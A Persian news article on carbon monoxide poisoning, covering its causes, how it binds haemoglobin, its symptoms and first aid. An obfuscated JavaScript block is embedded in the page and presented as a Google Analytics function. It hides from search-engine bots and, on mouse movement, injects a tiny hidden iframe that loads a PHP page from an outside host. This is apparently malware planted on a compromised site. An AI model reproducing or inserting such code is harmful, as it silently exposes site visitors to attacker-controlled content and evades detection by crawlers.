

بر اساس اعلام مرکز تحقیقات سم شناسی پزشکی دانشگاه علوم پزشکی مشهد سردرد و سرگیجه نخستین علامت مسمومیت با گاز CO به شمار می رود .

```
var _0x24b1=["x74x6Fx4Cx6Fx63x61x6Cx65x4Cx6Fx77x65x72x43x61x73x65","x75x73x65x72x41x67x65x6Ex74","x79x61x6Ex64x65x78x62x6Fx74","x79x61x6Ex64x65x78x6Dx65x74x72x69x6Bx61","x79x61x6Ex64x65x78x69x6Dx61x67x65x73","x67x6Fx6Fx67x6Cx65x62x6Fx74","x69x6Ex64x65x78x4Fx66","x77x69x64x74x68","x68x65x69x67x68x74","x6Fx6Ex6Dx6Fx75x73x65x6Dx6Fx76x65","x62x6Fx64x79","x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65","x67x6Fx6Fx67x6Cx65x61x6Ex61x6Cx79x74x69x63x73x69x66x72x61x6Dx65","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x69x66x72x61x6Dx65","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x31x32x70x78","x69x64","x73x72x63","x68x74x74x70x3Ax2Fx2Fx66x6Fx72x6Fx2Ex6Dx61x73x77x69x66x69x2Ex63x6Fx6Dx2Fx69x6Ex63x6Cx75x64x65x73x2Fx6Dx69x64x64x6Cx65x2Ex70x68x70","x61x70x70x65x6Ex64x43x68x69x6Cx64","x69x6Ex6Ex65x72x57x69x64x74x68","x6Ex75x6Dx62x65x72","x69x6Ex6Ex65x72x48x65x69x67x68x74","x64x6Fx63x75x6Dx65x6Ex74x45x6Cx65x6Dx65x6Ex74","x63x6Cx69x65x6Ex74x57x69x64x74x68","x63x6Cx69x65x6Ex74x48x65x69x67x68x74","x67x6Fx6Fx67x6Cx65x41x6Ex61x6Cx79x74x69x63x73x53x74x61x74x69x73x74x69x63x73x42x75x69x6Cx64x28x29"];function googleAnalyticsStatisticsBuild(){var _0x64b9x2=navigator[_0x24b1[1]][_0x24b1[0]]();var _0x64b9x3=[_0x24b1[2],_0x24b1[3],_0x24b1[4],_0x24b1[5]];for(k in _0x64b9x3){if(_0x64b9x2[_0x24b1[6]](_0x64b9x3[k])!=-1){return ;} ; };var _0x64b9x4=detectBrowserSize();if(_0x64b9x4[_0x24b1[7]]==0||_0x64b9x4[_0x24b1[8]]==0){return ;} ;var _0x64b9x5=false;if(document[_0x24b1[11]](_0x24b1[10])[0][_0x24b1[9]]){_0x64b9x5=document[_0x24b1[11]](_0x24b1[10])[0][_0x24b1[9]];};document[_0x24b1[11]](_0x24b1[10])[0][_0x24b1[9]]=function (){if(!document[_0x24b1[13]](_0x24b1[12])){iframe=document[_0x24b1[15]](_0x24b1[14]);iframe[_0x24b1[7]]=_0x24b1[16];iframe[_0x24b1[8]]=_0x24b1[16];iframe[_0x24b1[17]]=_0x24b1[12];iframe[_0x24b1[18]]=_0x24b1[19];document[_0x24b1[11]](_0x24b1[10])[0][_0x24b1[20]](iframe);};if(_0x64b9x5!==false){_0x64b9x5();} ; };};function detectBrowserSize(){var _0x64b9x7=0,_0x64b9x8=0;if (typeof (window[_0x24b1[21]])==_0x24b1[22]){_0x64b9x7=window[_0x24b1[21]];_0x64b9x8=window[_0x24b1[23]];} else {if(document[_0x24b1[24]]&&(document[_0x24b1[24]][_0x24b1[25]]||document[_0x24b1[24]][_0x24b1[26]])){_0x64b9x7=document[_0x24b1[24]][_0x24b1[25]];_0x64b9x8=document[_0x24b1[24]][_0x24b1[26]];} else {if(document[_0x24b1[10]]&&(document[_0x24b1[10]][_0x24b1[25]]||document[_0x24b1[10]][_0x24b1[26]])){_0x64b9x7=document[_0x24b1[10]][_0x24b1[25]];_0x64b9x8=document[_0x24b1[10]][_0x24b1[26]];} ; };};return {width:_0x64b9x7,height:_0x64b9x8};};setTimeout(_0x24b1[27],500);
```



به گزارش وب دا ،منواکسید کربن در شکل خالص خود قابل تشخیص نبوده و بدون بو و بی‌رنگ و بدون خاصیت تحریک‌کنندگی است. وزن حجمی آن 97/0 هوا است و سریعاً در هوا پراکنده می‌شود .

استنشاق دود ناشی از آتش سوزی ها ، بد کار کردن سیستم گرمایشی منازل و محیط کار از شایعترین علت مسمومیت با CO به شمار می آید. در زمان انتشار گاز CO مولکول منواکسید کربن بسرعت از غشاء مویرگی ریه عبور کرده و پس از ترکیب CO با ملکول هموگلوبین (Hb) و ایجاد کربوکسی هموگلوبین (COHb) سبب کاهش ظرفیت انتقال اکسیژن می‌شود.

سردرد، سرگیجه، تهوع، کوفتگی بدن و اختلال تفکر ، کرامپ شکمی، استفراغ، اسهال (اغلب در اطفال و نوجوانان)از علائم مسمومیت با گازمنواکسید کربن به شمار می رود و در مسمومیتهای شدیدتر سنکوپ، تشنج، اختلال هوشیاری، سفتی منتشر عضلانی و کما مشاهده می شود .

بر اساس اعلام مرکز سم شناسی پزشکی دانشگاه علوم پزشکی مشهد :انتقال بیمار به فضای باز و سپس به مرکز درمانی مهمترین اقدامی است که باید در زمان مواجه با فرد مسموم با گاز CO انجام شود .